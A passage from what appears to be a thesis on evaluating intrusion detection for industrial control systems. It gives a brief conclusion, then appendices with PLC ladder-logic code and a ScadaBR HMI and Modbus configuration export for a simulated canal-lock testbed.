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The final contribution of this paper is a reproduction of three NIDS/IPSs found in
recent CPS defense literature, one each of knowledge-based, behavioral-based, and a
hybrid of the two types, as defined in [14]. These three systems were each installed, one
at a time, onto the PLC in the testbed. Then, the testing methodology outlined above was
used to compare the effectiveness of the NIDS/IPSs against the eleven attacks developed.
This provided both an independent review of the systems as well as a set of
proof-of-concept results in testing the methodology in action.
The hope is that the contributions presented in this work will be used and
expanded upon by other researchers in order to further study NIDS/IPSs, including the
implementation of independent review and result reproduction, the final stage of the
scientific method.
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APPENDIX A: PLC Ladder Logic
PROGRAM My_Program
VAR
flow_in AT %IW0 : INT;
flow_out AT %IW1 : INT;
ug_opcmd AT %QX0.0 : BOOL;
ug_clcmd AT %QX0.1 : BOOL;
ug_val AT %IW2 : INT;
lg_opcmd AT %QX0.2 : BOOL;
lg_clcmd AT %QX0.3 : BOOL;
lg_val AT %IW3 : INT;
uv_opcmd AT %QX0.4 : BOOL;
uv_clcmd AT %QX0.5 : BOOL;
uv_val AT %IW4 : INT;
lv_opcmd AT %QX0.6 : BOOL;
lv_clcmd AT %QX0.7 : BOOL;
lv_val AT %IW5 : INT;
dp_chmbr AT %IW6 : INT;
dp_rsvr AT %IW7 : INT;
dp_tlwtr AT %IW8 : INT;
warn_btn AT %QX1.0 : BOOL;
em_gt AT %QX1.1 : BOOL;
em_vlv AT %QX1.2 : BOOL;
ht_still AT %IW9 : INT;
dprel_rsvr AT %QW0 : INT;
rsrvr_eq AT %QX1.3 : BOOL;
tlwtr_eq AT %QX1.4 : BOOL;
END_VAR
VAR
TP0 : TP;
TP1 : TP;
TP2 : TP;
XOR35_OUT : BOOL;
AND60_OUT : BOOL;
AND62_OUT : BOOL;
INT_TO_REAL143_OUT : REAL;
DIV140_OUT : REAL;
LT12_OUT : BOOL;
GT19_OUT : BOOL;
XOR28_OUT : BOOL;
AND36_OUT : BOOL;
AND42_OUT : BOOL;
INT_TO_REAL22_OUT : REAL;
DIV17_OUT : REAL;
LT15_OUT : BOOL;
GT46_OUT : BOOL;
XOR57_OUT : BOOL;
AND67_OUT : BOOL;
AND69_OUT : BOOL;
OR106_OUT : BOOL;
INT_TO_REAL145_OUT : REAL;
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DIV144_OUT : REAL;
LT49_OUT : BOOL;
GT71_OUT : BOOL;
XOR83_OUT : BOOL;
AND89_OUT : BOOL;
AND91_OUT : BOOL;
OR117_OUT : BOOL;
INT_TO_REAL147_OUT : REAL;
DIV79_OUT : REAL;
LT76_OUT : BOOL;
GT93_OUT : BOOL;
ADD153_OUT : INT;
EQ155_OUT : BOOL;
EQ149_OUT : BOOL;
END_VAR
TP0(IN := warn_btn, PT := T#3000ms);
warn_btn := TP0.Q;
XOR35_OUT := XOR(NOT(em_gt) AND ug_opcmd, NOT(em_gt) AND ug_clcmd);
AND60_OUT := AND(NOT(em_gt) AND ug_opcmd, XOR35_OUT);
ug_opcmd := AND60_OUT;
AND62_OUT := AND(XOR35_OUT, NOT(em_gt) AND ug_clcmd);
ug_clcmd := AND62_OUT;
INT_TO_REAL143_OUT := INT_TO_REAL(ug_val);
DIV140_OUT := DIV(INT_TO_REAL143_OUT, 100.0);
LT12_OUT := LT(DIV140_OUT, 90.0);
ug_opcmd := ug_opcmd AND LT12_OUT;
GT19_OUT := GT(DIV140_OUT, 7.0);
ug_clcmd := ug_clcmd AND GT19_OUT;
XOR28_OUT := XOR(NOT(em_gt) AND lg_opcmd, NOT(em_gt) AND lg_clcmd);
AND36_OUT := AND(NOT(em_gt) AND lg_opcmd, XOR28_OUT);
lg_opcmd := AND36_OUT;
AND42_OUT := AND(XOR28_OUT, NOT(em_gt) AND lg_clcmd);
lg_clcmd := AND42_OUT;
INT_TO_REAL22_OUT := INT_TO_REAL(lg_val);
DIV17_OUT := DIV(INT_TO_REAL22_OUT, 100.0);
LT15_OUT := LT(DIV17_OUT, 90.0);
lg_opcmd := lg_opcmd AND LT15_OUT;
GT46_OUT := GT(DIV17_OUT, 7.0);
lg_clcmd := lg_clcmd AND GT46_OUT;
XOR57_OUT := XOR(NOT(em_vlv) AND uv_opcmd, NOT(em_vlv) AND uv_clcmd);
AND67_OUT := AND(NOT(em_vlv) AND uv_opcmd, XOR57_OUT);
uv_opcmd := AND67_OUT;
AND69_OUT := AND(XOR57_OUT, NOT(em_vlv) AND uv_clcmd);
OR106_OUT := OR(AND69_OUT, em_vlv);
uv_clcmd := OR106_OUT;
INT_TO_REAL145_OUT := INT_TO_REAL(uv_val);
DIV144_OUT := DIV(INT_TO_REAL145_OUT, 100.0);
LT49_OUT := LT(DIV144_OUT, 100.0);
uv_opcmd := uv_opcmd AND LT49_OUT;
GT71_OUT := GT(DIV144_OUT, 0.0);
uv_clcmd := uv_clcmd AND GT71_OUT;
XOR83_OUT := XOR(NOT(em_vlv) AND lv_opcmd, NOT(em_vlv) AND lv_clcmd);
AND89_OUT := AND(NOT(em_vlv) AND lv_opcmd, XOR83_OUT);
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lv_opcmd := AND89_OUT;
AND91_OUT := AND(XOR83_OUT, NOT(em_vlv) AND lv_clcmd);
OR117_OUT := OR(AND91_OUT, em_vlv);
lv_clcmd := OR117_OUT;
INT_TO_REAL147_OUT := INT_TO_REAL(lv_val);
DIV79_OUT := DIV(INT_TO_REAL147_OUT, 100.0);
LT76_OUT := LT(DIV79_OUT, 100.0);
lv_opcmd := lv_opcmd AND LT76_OUT;
GT93_OUT := GT(DIV79_OUT, 0.0);
lv_clcmd := lv_clcmd AND GT93_OUT;
TP1(IN := em_gt, PT := T#3000ms);
em_gt := TP1.Q;
TP2(IN := em_vlv, PT := T#3000ms);
em_vlv := TP2.Q;
ADD153_OUT := ADD(dp_rsvr, ht_still);
dprel_rsvr := ADD153_OUT;
EQ155_OUT := EQ(dprel_rsvr, dp_chmbr);
rsrvr_eq := EQ155_OUT;
EQ149_OUT := EQ(dp_chmbr, dp_tlwtr);
tlwtr_eq := EQ149_OUT;
END_PROGRAM
CONFIGURATION Config0
RESOURCE Res0 ON PLC
TASK TaskMain(INTERVAL := T#50ms,PRIORITY := 0);
PROGRAM Inst0 WITH TaskMain : My_Program;
END_RESOURCE
END_CONFIGURATION
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APPENDIX B: ScadaBR Code
{
"graphicalViews":[
{
"user":"admin",
"anonymousAccess":"NONE",
"viewComponents":[
{
"type":"SCRIPT_BUTTON",
"content":"<button
onclick='mango.view.executeScript(\"SC_486961\");'><p
style='font-size:32px; padding: 0px 30px'>Open<\/p><\/button>",
"scriptXid":"SC_486961",
"text":"<p style='font-size:32px; padding: 0px
30px'>Open<\/p>",
"x":141,
"y":743
},
{
"type":"SCRIPT_BUTTON",
"content":"<button
onclick='mango.view.executeScript(\"SC_406710\");'><p
style='font-size:32px; padding: 0px 30px'>Close<\/p><\/button>",
"scriptXid":"SC_406710",
"text":"<p style='font-size:32px; padding: 0px
30px'>Close<\/p>",
"x":353,
"y":743
},
{
"type":"SCRIPT_BUTTON",
"content":"<button
onclick='mango.view.executeScript(\"SC_263595\");'><p
style='font-size:44px;
padding:
0px
45px;
color:red'>Gates<\/p><\/button>",
"scriptXid":"SC_263595",
"text":"<p style='font-size:44px; padding: 0px 45px;
color:red'>Gates<\/p>",
"x":1100,
"y":501
},
{
"type":"BINARY_GRAPHIC",
"dataPointXid":"DP_995262",
"imageSet":"Leds48",
"bkgdColorOverride":"",
"displayControls":false,
"displayText":false,
"nameOverride":"",
"oneImageIndex":7,
"settableOverride":false,
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"x":1351,
"y":543,
"zeroImageIndex":9
},
{
"type":"BINARY_GRAPHIC",
"dataPointXid":"DP_076895",
"imageSet":"Leds48",
"bkgdColorOverride":"",
"displayControls":false,
"displayText":false,
"nameOverride":"",
"oneImageIndex":4,
"settableOverride":false,
"x":201,
"y":263,
"zeroImageIndex":9
},
{
"type":"BINARY_GRAPHIC",
"dataPointXid":"DP_312518",
"imageSet":"Leds48",
"bkgdColorOverride":"",
"displayControls":false,
"displayText":false,
"nameOverride":"",
"oneImageIndex":13,
"settableOverride":false,
"x":408,
"y":264,
"zeroImageIndex":9
},
{
"type":"SCRIPT_BUTTON",
"content":"<button
onclick='mango.view.executeScript(\"SC_158145\");'><p
style='font-size:32px; padding: 0px 20px'>Sound Horn<\/p><\/button>",
"scriptXid":"SC_158145",
"text":"<p style='font-size:32px; padding: 0px 20px'>Sound
Horn<\/p>",
"x":1089,
"y":245
},
{
"type":"SCRIPT",
"dataPointXid":"DP_458328",
"bkgdColorOverride":"",
"displayControls":false,
"nameOverride":"",
"script":"return(\"<p
style='font-size:40px;color:white;text-align:center'>\"
+
parseFloat(value\/100).toFixed(1) + \"<\/p>\")",
"settableOverride":false,
"x":404,
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"y":143
},
{
"type":"HTML",
"content":"<p style='font-size:40px;color:white'>Lower
Gate<\/p>",
"x":590,
"y":131
},
{
"type":"HTML",
"content":"<p
style='font-size:28px;color:white'>Valve<\/p>",
"x":386,
"y":521
},
{
"type":"HTML",
"content":"<p
style='font-size:28px;color:white'>Valve<\/p>",
"x":858,
"y":520
},
{
"type":"SCRIPT",
"dataPointXid":"DP_442188",
"bkgdColorOverride":"",
"displayControls":false,
"nameOverride":"",
"script":"return(\"<p
style='font-size:40px;color:white;text-align:center'>\"
+
parseFloat(value\/100).toFixed(1) + \"<\/p>\")",
"settableOverride":false,
"x":882,
"y":143
},
{
"type":"SCRIPT",
"dataPointXid":"DP_993261",
"bkgdColorOverride":"",
"displayControls":false,
"nameOverride":"",
"script":"return(\"<p
style='font-size:48px;color:white;text-align:center'>\"
+
parseFloat(value\/100).toFixed(1) + \" <\/p>\")",
"settableOverride":false,
"x":343,
"y":545
},
{
"type":"SCRIPT",
"dataPointXid":"DP_291730",
"bkgdColorOverride":"",
"displayControls":false,
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"nameOverride":"",
"script":"return(\"<p
style='font-size:48px;color:white;text-align:center'>\"
+
parseFloat(value\/100).toFixed(1) + \"<\/p>\")",
"settableOverride":false,
"x":818,
"y":546
},
{
"type":"BINARY_GRAPHIC",
"dataPointXid":"DP_802306",
"imageSet":"Leds48",
"bkgdColorOverride":"",
"displayControls":false,
"displayText":false,
"nameOverride":"",
"oneImageIndex":7,
"settableOverride":false,
"x":1320,
"y":270,
"zeroImageIndex":9
},
{
"type":"SCRIPT_BUTTON",
"content":"<button
onclick='mango.view.executeScript(\"SC_412850\");'><p
style='font-size:32px; padding: 0px 30px'>Open<\/p><\/button>",
"scriptXid":"SC_412850",
"text":"<p style='font-size:32px; padding: 0px
30px'>Open<\/p>",
"x":147,
"y":325
},
{
"type":"SCRIPT_BUTTON",
"content":"<button
onclick='mango.view.executeScript(\"SC_683174\");'><p
style='font-size:32px; padding: 0px 30px'>Close<\/p><\/button>",
"scriptXid":"SC_683174",
"text":"<p style='font-size:32px; padding: 0px
30px'>Close<\/p>",
"x":353,
"y":326
},
{
"type":"SCRIPT_BUTTON",
"content":"<button
onclick='mango.view.executeScript(\"SC_747113\");'><p
style='font-size:32px; padding: 0px 30px'>Open<\/p><\/button>",
"scriptXid":"SC_747113",
"text":"<p style='font-size:32px; padding: 0px
30px'>Open<\/p>",
"x":617,
"y":327
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},
{
"type":"SCRIPT_BUTTON",
"content":"<button
onclick='mango.view.executeScript(\"SC_285403\");'><p
style='font-size:32px; padding: 0px 30px'>Close<\/p><\/button>",
"scriptXid":"SC_285403",
"text":"<p style='font-size:32px; padding: 0px
30px'>Close<\/p>",
"x":825,
"y":327
},
{
"type":"SCRIPT_BUTTON",
"content":"<button
onclick='mango.view.executeScript(\"SC_263559\");'><p
style='font-size:32px; padding: 0px 30px'>Open<\/p><\/button>",
"scriptXid":"SC_263559",
"text":"<p style='font-size:32px; padding: 0px
30px'>Open<\/p>",
"x":614,
"y":746
},
{
"type":"SCRIPT_BUTTON",
"content":"<button
onclick='mango.view.executeScript(\"SC_948865\");'><p
style='font-size:32px; padding: 0px 30px'>Close<\/p><\/button>",
"scriptXid":"SC_948865",
"text":"<p style='font-size:32px; padding: 0px
30px'>Close<\/p>",
"x":823,
"y":745
},
{
"type":"HTML",
"content":"<p style='font-size:40px;color:white'>Upper
Gate<\/p>",
"x":122,
"y":128
},
{
"type":"BINARY_GRAPHIC",
"dataPointXid":"DP_015243",
"imageSet":"Leds48",
"bkgdColorOverride":"",
"displayControls":false,
"displayText":false,
"nameOverride":"",
"oneImageIndex":4,
"settableOverride":false,
"x":196,
"y":679,
"zeroImageIndex":9
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},
{
"type":"BINARY_GRAPHIC",
"dataPointXid":"DP_082790",
"imageSet":"Leds48",
"bkgdColorOverride":"",
"displayControls":false,
"displayText":false,
"nameOverride":"",
"oneImageIndex":13,
"settableOverride":false,
"x":406,
"y":680,
"zeroImageIndex":9
},
{
"type":"BINARY_GRAPHIC",
"dataPointXid":"DP_989127",
"imageSet":"Leds48",
"bkgdColorOverride":"",
"displayControls":false,
"displayText":false,
"nameOverride":"",
"oneImageIndex":4,
"settableOverride":false,
"x":666,
"y":683,
"zeroImageIndex":9
},
{
"type":"BINARY_GRAPHIC",
"dataPointXid":"DP_312073",
"imageSet":"Leds48",
"bkgdColorOverride":"",
"displayControls":false,
"displayText":false,
"nameOverride":"",
"oneImageIndex":13,
"settableOverride":false,
"x":877,
"y":684,
"zeroImageIndex":9
},
{
"type":"SCRIPT_BUTTON",
"content":"<button
onclick='mango.view.executeScript(\"SC_671816\");'><p
style='font-size:44px;
padding:
0px
40px;color:red'>Valves<\/p><\/button>",
"scriptXid":"SC_671816",
"text":"<p style='font-size:44px; padding: 0px
40px;color:red'>Valves<\/p>",
"x":1102,
"y":670
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},
{
"type":"BINARY_GRAPHIC",
"dataPointXid":"DP_936160",
"imageSet":"Leds48",
"bkgdColorOverride":"",
"displayControls":false,
"displayText":false,
"nameOverride":"",
"oneImageIndex":4,
"settableOverride":false,
"x":668,
"y":267,
"zeroImageIndex":9
},
{
"type":"BINARY_GRAPHIC",
"dataPointXid":"DP_090322",
"imageSet":"Leds48",
"bkgdColorOverride":"",
"displayControls":false,
"displayText":false,
"nameOverride":"",
"oneImageIndex":13,
"settableOverride":false,
"x":879,
"y":266,
"zeroImageIndex":9
},
{
"type":"HTML",
"content":"<p
style='font-size:34px;color:red'>EMERGENCY<\/p>",
"x":1145,
"y":388
},
{
"type":"BINARY_GRAPHIC",
"dataPointXid":"DP_387666",
"imageSet":"Leds48",
"bkgdColorOverride":"",
"displayControls":false,
"displayText":false,
"nameOverride":"",
"oneImageIndex":7,
"settableOverride":false,
"x":1351,
"y":710,
"zeroImageIndex":9
},
{
"type":"HTML",
"content":"<p
style='font-size:28px;color:white'>Reservoir<\/p>",
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"x":682,
"y":9
},
{
"type":"HTML",
"content":"<p
style='font-size:28px;color:white'>Chamber<\/p>",
"x":964,
"y":9
},
{
"type":"HTML",
"content":"<p
style='font-size:28px;color:white'>Tailwater<\/p>",
"x":1233,
"y":5
},
{
"type":"SCRIPT",
"dataPointXid":"DP_222776",
"bkgdColorOverride":"",
"displayControls":false,
"nameOverride":"",
"script":"return(\"<p
style='font-size:48px;color:white;text-align:center'>\"
+
parseFloat(value\/100).toFixed(1) + \"'<\/p>\")",
"settableOverride":false,
"x":689,
"y":31
},
{
"type":"SCRIPT",
"dataPointXid":"DP_676198",
"bkgdColorOverride":"",
"displayControls":false,
"nameOverride":"",
"script":"return(\"<p
style='font-size:48px;color:white;text-align:center'>\"
+
parseFloat(value\/100).toFixed(1) + \"'<\/p>\")",
"settableOverride":false,
"x":971,
"y":33
},
{
"type":"SCRIPT",
"dataPointXid":"DP_594597",
"bkgdColorOverride":"",
"displayControls":false,
"nameOverride":"",
"script":"return(\"<p
style='font-size:48px;color:white;text-align:center'>\"
+
parseFloat(value\/100).toFixed(1) + \"'<\/p>\")",
"settableOverride":false,
"x":1250,
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"y":34
},
{
"type":"HTML",
"content":"<p
style='font-size:28px;color:white;text-align:center'>Gal\/Sec<\/p>",
"x":172,
"y":518
},
{
"type":"HTML",
"content":"<p
style='font-size:28px;color:white;text-align:center'>Gal\/Sec<\/p>",
"x":645,
"y":520
},
{
"type":"SCRIPT",
"dataPointXid":"DP_533280",
"bkgdColorOverride":"",
"displayControls":false,
"nameOverride":"",
"script":"return(\"<p
style='font-size:48px;text-align:center; color:white'>\" + value*10 +
\"<\/p>\")",
"settableOverride":false,
"x":117,
"y":545
},
{
"type":"SCRIPT",
"dataPointXid":"DP_531723",
"bkgdColorOverride":"",
"displayControls":false,
"nameOverride":"",
"script":"return(\"<p
style='font-size:48px;color:white'>\" + value*10 + \" <\/p>\")",
"settableOverride":false,
"x":593,
"y":546
},
{
"type":"HTML",
"content":"<p style='font-size:40px;color:white'>%<\/p>",
"x":501,
"y":558
},
{
"type":"HTML",
"content":"<p
style='font-size:40px;color:white;text-align:center'>Filling<\/p>",
"x":273,
"y":430
},
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{
"type":"HTML",
"content":"<p
style='font-size:40px;color:white;text-align:center'>Emptying<\/p>",
"x":713,
"y":427
},
{
"type":"HTML",
"content":"<p style='font-size:40px;color:white'>%<\/p>",
"x":974,
"y":559
},
{
"type":"HTML",
"content":"<p style='font-size:40px;color:white'>°<\/p>",
"x":990,
"y":131
},
{
"type":"HTML",
"content":"<p style='font-size:40px;color:white'>°<\/p>",
"x":514,
"y":130
},
{
"type":"HTML",
"content":"<p style='font-size:22px;color:white'>Sill
Height = 21.5'<\/p>",
"x":198,
"y":10
},
{
"type":"HTML",
"content":"<p style='font-size:22px;color:white'>Reservoir
+ Sill Height = Chamber<\/p>",
"x":103,
"y":36
},
{
"type":"SCRIPT",
"dataPointXid":"DP_222776",
"bkgdColorOverride":"",
"displayControls":false,
"nameOverride":"",
"script":"return(\"<p
style='font-size:22px;color:white;text-align:center'>\"
+
parseFloat(value\/100).toFixed(1) + \"'<\/p>\")",
"settableOverride":false,
"x":172,
"y":85
},
{
"type":"HTML",
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"content":"<p style='font-size:22px;color:white'>+ 21.5'
=<\/p>",
"x":233,
"y":85
},
{
"type":"SCRIPT",
"dataPointXid":"DP_676198",
"bkgdColorOverride":"",
"displayControls":false,
"nameOverride":"",
"script":"return(\"<p
style='font-size:22px;color:white;text-align:center'>\"
+
parseFloat(value\/100).toFixed(1) + \"'<\/p>\")",
"settableOverride":false,
"x":347,
"y":84
},
{
"type":"BINARY_GRAPHIC",
"dataPointXid":"DP_416582",
"imageSet":"Leds48",
"bkgdColorOverride":"",
"displayControls":false,
"displayText":false,
"nameOverride":"",
"oneImageIndex":4,
"settableOverride":false,
"x":865,
"y":86,
"zeroImageIndex":9
},
{
"type":"BINARY_GRAPHIC",
"dataPointXid":"DP_012898",
"imageSet":"Leds48",
"bkgdColorOverride":"",
"displayControls":false,
"displayText":false,
"nameOverride":"",
"oneImageIndex":4,
"settableOverride":false,
"x":1145,
"y":89,
"zeroImageIndex":9
}
],
"sharingUsers":[
],
"name":"SooLocks",
"xid":"GV_361930"
}
],
"dataSources":[
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{
"xid":"DS_243939",
"type":"MODBUS_IP",
"alarmLevels":{
"DATA_SOURCE_EXCEPTION":"URGENT",
"POINT_READ_EXCEPTION":"URGENT",
"POINT_WRITE_EXCEPTION":"URGENT"
},
"updatePeriodType":"MILLISECONDS",
"transportType":"TCP_KEEP_ALIVE",
"contiguousBatches":false,
"createSlaveMonitorPoints":false,
"enabled":true,
"encapsulated":false,
"host":"192.168.56.2",
"maxReadBitCount":2000,
"maxReadRegisterCount":125,
"maxWriteRegisterCount":120,
"name":"SooLocks",
"port":502,
"quantize":false,
"retries":20,
"timeout":500,
"updatePeriods":500
}
],
"dataPoints":[
{
"xid":"DP_581494",
"loggingType":"ON_CHANGE",
"intervalLoggingPeriodType":"MINUTES",
"intervalLoggingType":"INSTANT",
"purgeType":"YEARS",
"pointLocator":{
"range":"INPUT_REGISTER",
"modbusDataType":"TWO_BYTE_INT_UNSIGNED",
"additive":0.0,
"bit":0,
"charset":"ASCII",
"multiplier":1.0,
"offset":9,
"registerCount":0,
"settableOverride":false,
"slaveId":1,
"slaveMonitor":false
},
"eventDetectors":[
],
"engineeringUnits":"",
"chartColour":null,
"chartRenderer":null,
"dataSourceXid":"DS_243939",
"defaultCacheSize":1,
"deviceName":"SooLocks",
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"discardExtremeValues":false,
"discardHighLimit":1.7976931348623157E308,
"discardLowLimit":-1.7976931348623157E308,
"enabled":true,
"intervalLoggingPeriod":15,
"name":"ht_sill",
"purgePeriod":1,
"textRenderer":{
"type":"PLAIN",
"suffix":""
},
"tolerance":0.0
},
{
"xid":"DP_012898",
"loggingType":"ON_CHANGE",
"intervalLoggingPeriodType":"MINUTES",
"intervalLoggingType":"INSTANT",
"purgeType":"YEARS",
"pointLocator":{
"range":"COIL_STATUS",
"modbusDataType":"BINARY",
"additive":0.0,
"bit":0,
"charset":"ASCII",
"multiplier":1.0,
"offset":12,
"registerCount":0,
"settableOverride":true,
"slaveId":1,
"slaveMonitor":false
},
"eventDetectors":[
],
"engineeringUnits":"",
"chartColour":null,
"chartRenderer":null,
"dataSourceXid":"DS_243939",
"defaultCacheSize":1,
"deviceName":"SooLocks",
"discardExtremeValues":false,
"discardHighLimit":1.7976931348623157E308,
"discardLowLimit":-1.7976931348623157E308,
"enabled":true,
"intervalLoggingPeriod":15,
"name":"eq_tlwtr",
"purgePeriod":1,
"textRenderer":{
"type":"PLAIN",
"suffix":""
},
"tolerance":0.0
},
{
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"xid":"DP_416582",
"loggingType":"ON_CHANGE",
"intervalLoggingPeriodType":"MINUTES",
"intervalLoggingType":"INSTANT",
"purgeType":"YEARS",
"pointLocator":{
"range":"COIL_STATUS",
"modbusDataType":"BINARY",
"additive":0.0,
"bit":0,
"charset":"ASCII",
"multiplier":1.0,
"offset":11,
"registerCount":0,
"settableOverride":true,
"slaveId":1,
"slaveMonitor":false
},
"eventDetectors":[
],
"engineeringUnits":"",
"chartColour":null,
"chartRenderer":null,
"dataSourceXid":"DS_243939",
"defaultCacheSize":1,
"deviceName":"SooLocks",
"discardExtremeValues":false,
"discardHighLimit":1.7976931348623157E308,
"discardLowLimit":-1.7976931348623157E308,
"enabled":true,
"intervalLoggingPeriod":15,
"name":"eq_rsvr",
"purgePeriod":1,
"textRenderer":{
"type":"PLAIN",
"suffix":""
},
"tolerance":0.0
},
{
"xid":"DP_802306",
"loggingType":"ON_CHANGE",
"intervalLoggingPeriodType":"MINUTES",
"intervalLoggingType":"INSTANT",
"purgeType":"YEARS",
"pointLocator":{
"range":"COIL_STATUS",
"modbusDataType":"BINARY",
"additive":0.0,
"bit":0,
"charset":"ASCII",
"multiplier":1.0,
"offset":8,
"registerCount":0,
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"settableOverride":true,
"slaveId":1,
"slaveMonitor":false
},
"eventDetectors":[
],
"engineeringUnits":"",
"chartColour":null,
"chartRenderer":null,
"dataSourceXid":"DS_243939",
"defaultCacheSize":1,
"deviceName":"SooLocks",
"discardExtremeValues":false,
"discardHighLimit":1.7976931348623157E308,
"discardLowLimit":-1.7976931348623157E308,
"enabled":true,
"intervalLoggingPeriod":15,
"name":"warn_btn",
"purgePeriod":1,
"textRenderer":{
"type":"PLAIN",
"suffix":""
},
"tolerance":0.0
},
{
"xid":"DP_312518",
"loggingType":"ON_CHANGE",
"intervalLoggingPeriodType":"MINUTES",
"intervalLoggingType":"INSTANT",
"purgeType":"YEARS",
"pointLocator":{
"range":"COIL_STATUS",
"modbusDataType":"BINARY",
"additive":0.0,
"bit":0,
"charset":"ASCII",
"multiplier":1.0,
"offset":1,
"registerCount":0,
"settableOverride":true,
"slaveId":1,
"slaveMonitor":false
},
"eventDetectors":[
],
"engineeringUnits":"",
"chartColour":null,
"chartRenderer":null,
"dataSourceXid":"DS_243939",
"defaultCacheSize":1,
"deviceName":"SooLocks",
"discardExtremeValues":false,
"discardHighLimit":1.7976931348623157E308,
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"discardLowLimit":-1.7976931348623157E308,
"enabled":true,
"intervalLoggingPeriod":15,
"name":"ug_clcmd",
"purgePeriod":1,
"textRenderer":{
"type":"PLAIN",
"suffix":""
},
"tolerance":0.0
},
{
"xid":"DP_076895",
"loggingType":"ON_CHANGE",
"intervalLoggingPeriodType":"MINUTES",
"intervalLoggingType":"INSTANT",
"purgeType":"YEARS",
"pointLocator":{
"range":"COIL_STATUS",
"modbusDataType":"BINARY",
"additive":0.0,
"bit":0,
"charset":"ASCII",
"multiplier":1.0,
"offset":0,
"registerCount":0,
"settableOverride":true,
"slaveId":1,
"slaveMonitor":false
},
"eventDetectors":[
],
"engineeringUnits":"",
"chartColour":null,
"chartRenderer":null,
"dataSourceXid":"DS_243939",
"defaultCacheSize":1,
"deviceName":"SooLocks",
"discardExtremeValues":false,
"discardHighLimit":1.7976931348623157E308,
"discardLowLimit":-1.7976931348623157E308,
"enabled":true,
"intervalLoggingPeriod":15,
"name":"ug_opcmd",
"purgePeriod":1,
"textRenderer":{
"type":"PLAIN",
"suffix":""
},
"tolerance":0.0
},
{
"xid":"DP_458328",
"loggingType":"ON_CHANGE",

190

"intervalLoggingPeriodType":"MINUTES",
"intervalLoggingType":"INSTANT",
"purgeType":"YEARS",
"pointLocator":{
"range":"INPUT_REGISTER",
"modbusDataType":"TWO_BYTE_INT_UNSIGNED",
"additive":0.0,
"bit":0,
"charset":"ASCII",
"multiplier":1.0,
"offset":2,
"registerCount":0,
"settableOverride":false,
"slaveId":1,
"slaveMonitor":false
},
"eventDetectors":[
],
"engineeringUnits":"",
"chartColour":null,
"chartRenderer":null,
"dataSourceXid":"DS_243939",
"defaultCacheSize":1,
"deviceName":"SooLocks",
"discardExtremeValues":false,
"discardHighLimit":1.7976931348623157E308,
"discardLowLimit":-1.7976931348623157E308,
"enabled":true,
"intervalLoggingPeriod":15,
"name":"ug_val",
"purgePeriod":1,
"textRenderer":{
"type":"PLAIN",
"suffix":""
},
"tolerance":0.0
},
{
"xid":"DP_936160",
"loggingType":"ON_CHANGE",
"intervalLoggingPeriodType":"MINUTES",
"intervalLoggingType":"INSTANT",
"purgeType":"YEARS",
"pointLocator":{
"range":"COIL_STATUS",
"modbusDataType":"BINARY",
"additive":0.0,
"bit":0,
"charset":"ASCII",
"multiplier":1.0,
"offset":2,
"registerCount":0,
"settableOverride":true,
"slaveId":1,
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"slaveMonitor":false
},
"eventDetectors":[
],
"engineeringUnits":"",
"chartColour":null,
"chartRenderer":null,
"dataSourceXid":"DS_243939",
"defaultCacheSize":1,
"deviceName":"SooLocks",
"discardExtremeValues":false,
"discardHighLimit":1.7976931348623157E308,
"discardLowLimit":-1.7976931348623157E308,
"enabled":true,
"intervalLoggingPeriod":15,
"name":"lg_opcmd",
"purgePeriod":1,
"textRenderer":{
"type":"PLAIN",
"suffix":""
},
"tolerance":0.0
},
{
"xid":"DP_090322",
"loggingType":"ON_CHANGE",
"intervalLoggingPeriodType":"MINUTES",
"intervalLoggingType":"INSTANT",
"purgeType":"YEARS",
"pointLocator":{
"range":"COIL_STATUS",
"modbusDataType":"BINARY",
"additive":0.0,
"bit":0,
"charset":"ASCII",
"multiplier":1.0,
"offset":3,
"registerCount":0,
"settableOverride":true,
"slaveId":1,
"slaveMonitor":false
},
"eventDetectors":[
],
"engineeringUnits":"",
"chartColour":null,
"chartRenderer":null,
"dataSourceXid":"DS_243939",
"defaultCacheSize":1,
"deviceName":"SooLocks",
"discardExtremeValues":false,
"discardHighLimit":1.7976931348623157E308,
"discardLowLimit":-1.7976931348623157E308,
"enabled":true,
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"intervalLoggingPeriod":15,
"name":"lg_clcmd",
"purgePeriod":1,
"textRenderer":{
"type":"PLAIN",
"suffix":""
},
"tolerance":0.0
},
{
"xid":"DP_442188",
"loggingType":"ON_CHANGE",
"intervalLoggingPeriodType":"MINUTES",
"intervalLoggingType":"INSTANT",
"purgeType":"YEARS",
"pointLocator":{
"range":"INPUT_REGISTER",
"modbusDataType":"TWO_BYTE_INT_UNSIGNED",
"additive":0.0,
"bit":0,
"charset":"ASCII",
"multiplier":1.0,
"offset":3,
"registerCount":0,
"settableOverride":false,
"slaveId":1,
"slaveMonitor":false
},
"eventDetectors":[
],
"engineeringUnits":"",
"chartColour":null,
"chartRenderer":null,
"dataSourceXid":"DS_243939",
"defaultCacheSize":1,
"deviceName":"SooLocks",
"discardExtremeValues":false,
"discardHighLimit":1.7976931348623157E308,
"discardLowLimit":-1.7976931348623157E308,
"enabled":true,
"intervalLoggingPeriod":15,
"name":"lg_val",
"purgePeriod":1,
"textRenderer":{
"type":"PLAIN",
"suffix":""
},
"tolerance":0.0
},
{
"xid":"DP_015243",
"loggingType":"ON_CHANGE",
"intervalLoggingPeriodType":"MINUTES",
"intervalLoggingType":"INSTANT",
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"purgeType":"YEARS",
"pointLocator":{
"range":"COIL_STATUS",
"modbusDataType":"BINARY",
"additive":0.0,
"bit":0,
"charset":"ASCII",
"multiplier":1.0,
"offset":4,
"registerCount":0,
"settableOverride":true,
"slaveId":1,
"slaveMonitor":false
},
"eventDetectors":[
],
"engineeringUnits":"",
"chartColour":null,
"chartRenderer":null,
"dataSourceXid":"DS_243939",
"defaultCacheSize":1,
"deviceName":"SooLocks",
"discardExtremeValues":false,
"discardHighLimit":1.7976931348623157E308,
"discardLowLimit":-1.7976931348623157E308,
"enabled":true,
"intervalLoggingPeriod":15,
"name":"uv_opcmd",
"purgePeriod":1,
"textRenderer":{
"type":"PLAIN",
"suffix":""
},
"tolerance":0.0
},
{
"xid":"DP_082790",
"loggingType":"ON_CHANGE",
"intervalLoggingPeriodType":"MINUTES",
"intervalLoggingType":"INSTANT",
"purgeType":"YEARS",
"pointLocator":{
"range":"COIL_STATUS",
"modbusDataType":"BINARY",
"additive":0.0,
"bit":0,
"charset":"ASCII",
"multiplier":1.0,
"offset":5,
"registerCount":0,
"settableOverride":true,
"slaveId":1,
"slaveMonitor":false
},
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"eventDetectors":[
],
"engineeringUnits":"",
"chartColour":null,
"chartRenderer":null,
"dataSourceXid":"DS_243939",
"defaultCacheSize":1,
"deviceName":"SooLocks",
"discardExtremeValues":false,
